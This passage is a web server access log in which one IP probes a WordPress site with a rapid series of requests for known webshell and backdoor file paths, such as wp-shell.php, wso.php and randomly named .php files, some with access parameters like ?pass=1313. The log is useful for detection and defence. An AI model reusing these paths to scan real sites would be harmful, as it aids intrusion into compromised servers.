52.138.175.243 - - [18/Apr/2025:08:07:56 -0400] "GET /wp-content/themes/astra/inc/fm.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:07:58 -0400] "GET /wp-content/themes/astra/inc/ki1k.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:07:59 -0400] "GET /wp-content/themes/astra/inc/network.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:08:01 -0400] "GET /wp-content/themes/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:08:04 -0400] "GET /wp-content/themes/cay-van-phong/filemanager.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:08:06 -0400] "GET /wp-content/themes/classic/inc/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:08:07 -0400] "GET /wp-content/themes/classic/inc/admiin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:08:10 -0400] "GET /wp-content/themes/digital-download/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:08:13 -0400] "GET /wp-content/themes/file.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:08:14 -0400] "GET /wp-content/themes/finley/min.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:08:15 -0400] "GET /wp-content/themes/fitnessbase/404.php?ok HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:08:17 -0400] "GET /wp-content/themes/hello-element/footer.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:08:18 -0400] "GET /wp-content/themes/hideo/network.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:08:19 -0400] "GET /wp-content/themes/include.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:08:21 -0400] "GET /wp-content/themes/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:08:22 -0400] "GET /wp-content/themes/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:08:23 -0400] "GET /wp-content/themes/index.php?pass=1313 HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:08:24 -0400] "GET /wp-content/themes/intense/block-css.php?mode=upload HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:08:25 -0400] "GET /wp-content/themes/newstoday/lang.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:08:26 -0400] "GET /wp-content/themes/pridmag/1.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:08:27 -0400] "GET /wp-content/themes/pridmag/db.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:08:28 -0400] "GET /wp-content/themes/pridmag/db.php?u HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:08:29 -0400] "GET /wp-content/themes/seotheme/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:08:30 -0400] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:08:32 -0400] "GET /wp-content/themes/seotheme/mar.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:08:33 -0400] "GET /wp-content/themes/seotheme/mar.php?d=2f6e61732f636f6e74656e742f6c6976652f72616368656c73626c6f672f77702d636f6e74656e742f7468656d65732f73656f7468656d65&1 HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:08:34 -0400] "GET /wp-content/themes/sketch/404.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:08:36 -0400] "GET /wp-content/themes/tflow/up.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:08:37 -0400] "GET /wp-content/themes/travel/issue.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:08:39 -0400] "GET /wp-content/themes/twenty/twenty.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:08:40 -0400] "GET /wp-content/themes/twentyfive/include.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:08:41 -0400] "GET /wp-content/themes/twentytwenty/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:08:42 -0400] "GET /wp-content/themes/twentytwenty/404.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:08:43 -0400] "GET /wp-content/themes/twentytwentyfour/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:08:45 -0400] "GET /wp-content/themes/twentytwentythree/patterns/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:08:46 -0400] "GET /wp-content/themes/twentytwentytwo/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:08:48 -0400] "GET /wp-content/themes/wp-pridmag/admin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:08:49 -0400] "GET /wp-content/themes/wp-pridmag/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:08:52 -0400] "GET /wp-content/themes/wp-pridmag/init.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:08:53 -0400] "GET /wp-content/themes/wp-pridmag/up.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:08:54 -0400] "GET /wp-content/themes/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:08:55 -0400] "GET /wp-content/themes/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:08:56 -0400] "GET /wp-content/themes/zrt.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:08:57 -0400] "GET /wp-content/updraft/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:08:58 -0400] "GET /wp-content/updraft/themes.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:08:58 -0400] "GET /wp-content/upgrade-temp-backup/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:08:59 -0400] "GET /wp-content/upgrade-temp-backup/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:09:00 -0400] "GET /wp-content/upgrade/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:09:01 -0400] "GET /wp-content/upgrade/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:09:01 -0400] "GET /wp-content/upgrade/admiin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:09:02 -0400] "GET /wp-content/upgrade/admin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:09:03 -0400] "GET /wp-content/upgrade/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:09:03 -0400] "GET /wp-content/upgrade/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:09:04 -0400] "GET /wp-content/upgrade/wp-sigunq.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:09:05 -0400] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:09:07 -0400] "GET /wp-content/uploads//good.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:09:08 -0400] "GET /wp-content/uploads//load-scripts-page.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:09:08 -0400] "GET /wp-content/uploads//ms-sites-modify.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:09:09 -0400] "GET /wp-content/uploads//network-settings.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:09:10 -0400] "GET /wp-content/uploads//wp-backup.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:09:11 -0400] "GET /wp-content/uploads/2019//dog.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:09:12 -0400] "GET /wp-content/uploads/2019//mini.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:09:12 -0400] "GET /wp-content/uploads/2020/admin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:09:13 -0400] "GET /wp-content/uploads/2021//snwphriucoj.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:09:14 -0400] "GET /wp-content/uploads/2021/03/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:09:15 -0400] "GET /wp-content/uploads/2022/07/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:09:16 -0400] "GET /wp-content/uploads/2023/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:09:17 -0400] "GET /wp-content/uploads/2023/03/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:09:17 -0400] "GET /wp-content/uploads/2023/05/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:09:19 -0400] "GET /wp-content/uploads/2023/05/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:09:21 -0400] "GET /wp-content/uploads/2023/10/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:09:22 -0400] "GET /wp-content/uploads/2023/11/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:09:23 -0400] "GET /wp-content/uploads/2024/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:09:24 -0400] "GET /wp-content/uploads/2025/04/natural.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:09:25 -0400] "GET /wp-content/uploads/? HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:09:26 -0400] "GET /wp-content/uploads/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:09:27 -0400] "GET /wp-content/uploads/admin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:09:29 -0400] "GET /wp-content/uploads/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:09:31 -0400] "GET /wp-content/uploads/chosen.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:09:33 -0400] "GET /wp-content/uploads/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:09:34 -0400] "GET /wp-content/uploads/classwithtostring.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:09:34 -0400] "GET /wp-content/uploads/cong.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:09:35 -0400] "GET /wp-content/uploads/de_fb_uploads/b.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:09:36 -0400] "GET /wp-content/uploads/file.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:09:36 -0400] "GET /wp-content/uploads/gravity_forms/a/a/d/e/mpobdxkytgs.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:09:37 -0400] "GET /wp-content/uploads/gravity_forms/a/a/g/g/sbkntyhpcmw.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:09:38 -0400] "GET /wp-content/uploads/gravity_forms/a/b/b/g/uglomvzctsn.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:09:39 -0400] "GET /wp-content/uploads/gravity_forms/a/c/e/a/ypwzrbljtug.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:09:39 -0400] "GET /wp-content/uploads/gravity_forms/a/d/f/f/gcqdnkwesjz.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:09:40 -0400] "GET /wp-content/uploads/gravity_forms/a/h/g/f/rykplgfvasj.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:09:41 -0400] "GET /wp-content/uploads/gravity_forms/b/c/a/g/czivjydnxqt.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:09:41 -0400] "GET /wp-content/uploads/gravity_forms/b/c/d/a/squoxvwkhlt.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:09:42 -0400] "GET /wp-content/uploads/gravity_forms/b/h/f/a/jnxegkidpwo.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:09:43 -0400] "GET /wp-content/uploads/gravity_forms/c/a/e/a/uxcbytlahwz.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:09:43 -0400] "GET /wp-content/uploads/gravity_forms/c/c/a/b/rahlkvfmgdb.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:09:44 -0400] "GET /wp-content/uploads/gravity_forms/c/c/c/g/mdncplabzif.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:09:45 -0400] "GET /wp-content/uploads/gravity_forms/c/e/d/b/pmxctaowdes.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:09:46 -0400] "GET /wp-content/uploads/gravity_forms/c/e/g/c/czymneukgvd.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:09:47 -0400] "GET /wp-content/uploads/gravity_forms/c/h/g/f/tqicwdpsmnh.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:09:48 -0400] "GET /wp-content/uploads/gravity_forms/d/b/c/a/egyocfrpvwa.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:09:48 -0400] "GET /wp-content/uploads/gravity_forms/d/d/c/d/flpovrzwjck.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:09:49 -0400] "GET /wp-content/uploads/gravity_forms/d/f/c/d/ojqmdbxhate.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:09:50 -0400] "GET /wp-content/uploads/gravity_forms/d/f/h/f/yosajlczrfb.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:09:51 -0400] "GET /wp-content/uploads/gravity_forms/e/b/b/g/dqwyzvpuahb.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:09:51 -0400] "GET /wp-content/uploads/gravity_forms/e/b/b/g/jkerxdyfnqg.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:09:52 -0400] "GET /wp-content/uploads/gravity_forms/e/b/c/e/qotvjlbgrpc.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:09:53 -0400] "GET /wp-content/uploads/gravity_forms/e/d/f/a/axfnwtvogks.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:09:53 -0400] "GET /wp-content/uploads/gravity_forms/e/g/g/c/oihlgmfuxzd.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:09:54 -0400] "GET /wp-content/uploads/gravity_forms/e/g/h/b/ctorzqpwhbu.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:09:55 -0400] "GET /wp-content/uploads/gravity_forms/e/h/f/c/yszukdvcqnw.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:09:55 -0400] "GET /wp-content/uploads/gravity_forms/f/d/e/g/xtznkgbjpvq.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:09:56 -0400] "GET /wp-content/uploads/gravity_forms/f/e/g/b/hpkifdjoalz.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:09:57 -0400] "GET /wp-content/uploads/gravity_forms/f/f/d/b/dihbpqwnyts.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:09:58 -0400] "GET /wp-content/uploads/gravity_forms/f/g/h/b/zjensalmdpb.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:09:59 -0400] "GET /wp-content/uploads/gravity_forms/g/b/b/e/zysdrojvpua.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:09:59 -0400] "GET /wp-content/uploads/gravity_forms/g/e/c/h/hwzjnumafpk.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:10:00 -0400] "GET /wp-content/uploads/gravity_forms/g/f/f/b/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:10:01 -0400] "GET /wp-content/uploads/gravity_forms/g/g/a/f/pkhymgfjald.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:10:01 -0400] "GET /wp-content/uploads/gravity_forms/g/h/h/d/mxnbqlgirdo.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:10:03 -0400] "GET /wp-content/uploads/gravity_forms/h/b/e/d/ioxgswkbzrp.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:10:04 -0400] "GET /wp-content/uploads/gravity_forms/h/c/e/d/geusnobmvlh.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:10:06 -0400] "GET /wp-content/uploads/gravity_forms/h/c/h/c/hgickosyuxa.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:10:08 -0400] "GET /wp-content/uploads/gravity_forms/h/e/c/b/pfmozjwseha.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:10:11 -0400] "GET /wp-content/uploads/gravity_forms/h/e/d/a/yjoxrfglsep.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:10:13 -0400] "GET /wp-content/uploads/index HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:10:15 -0400] "GET /wp-content/uploads/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:10:16 -0400] "GET /wp-content/uploads/json.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:10:19 -0400] "GET /wp-content/uploads/link.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:10:20 -0400] "GET /wp-content/uploads/plugins.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:10:21 -0400] "GET /wp-content/uploads/tmp/.session.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:10:23 -0400] "GET /wp-content/uploads/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:10:24 -0400] "GET /wp-content/uploads/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:10:24 -0400] "GET /wp-content/uploads/wp-error_log.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:10:25 -0400] "GET /wp-content/uploads/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:10:26 -0400] "GET /wp-content/uploads/wp-login.php.suspected HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:10:28 -0400] "GET /wp-content/uploads/wp-shell.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:10:30 -0400] "GET /wp-content/uploads/wpr-addons/forms/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:10:32 -0400] "GET /wp-content/uploads/wpr-addons/forms/b1ack.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:10:35 -0400] "GET /wp-content/uploads/wpr-addons/forms/wp-error_log.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:10:36 -0400] "GET /wp-content/uploads/xBrain.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:10:37 -0400] "GET /wp-content/wp-error_log.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:10:39 -0400] "GET /wp-content/wp-error_log.php?dir=. HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:10:40 -0400] "GET /wp-content/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:10:41 -0400] "GET /wp-content/wp-tested.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:10:42 -0400] "GET /wp-content/wp.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:10:43 -0400] "GET /wp-content/wso.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:10:43 -0400] "GET /wp-content/x.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:10:44 -0400] "GET /wp-content/x/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:10:45 -0400] "GET /wp-content/x/wp-includes/Text/Diff/Engine/shell.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:10:46 -0400] "GET /wp-content/x/wp-post.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:10:47 -0400] "GET /wp-content/x2.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:10:48 -0400] "GET /wp-content/xBrain.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:10:48 -0400] "GET /wp-core.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:10:50 -0400] "GET /wp-crom.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:10:51 -0400] "GET /wp-cron.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:10:52 -0400] "GET /wp-editor.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:10:52 -0400] "GET /wp-error_log.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:10:53 -0400] "GET /wp-error_log.php?dir=. HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:10:54 -0400] "GET /wp-file.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:10:55 -0400] "GET /wp-files.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:10:55 -0400] "GET /wp-files.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:10:56 -0400] "GET /wp-head.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:10:57 -0400] "GET /wp-header.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:10:58 -0400] "GET /wp-hoard.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:10:58 -0400] "GET /wp-includes.bak/html-api/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:10:59 -0400] "GET /wp-includes/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:11:00 -0400] "GET /wp-includes//403.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:11:00 -0400] "GET /wp-includes//defaults.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:11:01 -0400] "GET /wp-includes//item.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:11:02 -0400] "GET /wp-includes//langar.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:11:02 -0400] "GET /wp-includes//wp-class.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:11:03 -0400] "GET /wp-includes/1DTeo4NlXvb.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:11:05 -0400] "GET /wp-includes/1QVvI3Jefd9.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:11:05 -0400] "GET /wp-includes/1V7NZKd4MAb.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:11:07 -0400] "GET /wp-includes/1fwQh4mlL6U.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:11:08 -0400] "GET /wp-includes/25z1pj6D8ho.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:11:09 -0400] "GET /wp-includes/2CYFwmbVjRf.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:11:11 -0400] "GET /wp-includes/2ECeRgwNa6I.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:11:12 -0400] "GET /wp-includes/2JZ6GvDSsgd.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:11:13 -0400] "GET /wp-includes/2JeUH5dNZ7X.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:11:14 -0400] "GET /wp-includes/2M5k3hBNA8L.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:11:15 -0400] "GET /wp-includes/2VGWUt94ypz.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:11:16 -0400] "GET /wp-includes/2VJGUWYBXMZ.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:11:17 -0400] "GET /wp-includes/2fd5iBxGvVt.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:11:18 -0400] "GET /wp-includes/31vLXnGsWhN.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:11:19 -0400] "GET /wp-includes/3RTGVYtrpSz.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:11:20 -0400] "GET /wp-includes/3TaxWwPciN5.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:11:20 -0400] "GET /wp-includes/3UiGPRTjwLI.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:11:22 -0400] "GET /wp-includes/3Wg6OxdwEuL.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:11:23 -0400] "GET /wp-includes/3aWTmqSkEDF.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:11:23 -0400] "GET /wp-includes/3yATdSmwkho.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:11:24 -0400] "GET /wp-includes/404.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:11:26 -0400] "GET /wp-includes/4Gh2KC3UQEc.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:11:26 -0400] "GET /wp-includes/4HGIbcrUWhy.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:11:27 -0400] "GET /wp-includes/4MkuIlCN8cB.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:11:28 -0400] "GET /wp-includes/4NDvJxdAckU.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:11:29 -0400] "GET /wp-includes/4REzCXlesoN.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:11:30 -0400] "GET /wp-includes/4Y9KOVRvqrP.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:11:31 -0400] "GET /wp-includes/4a8ZmAdfYEk.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:11:32 -0400] "GET /wp-includes/4oaMT6spgwP.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:11:33 -0400] "GET /wp-includes/5Z4iTjIRAFz.php 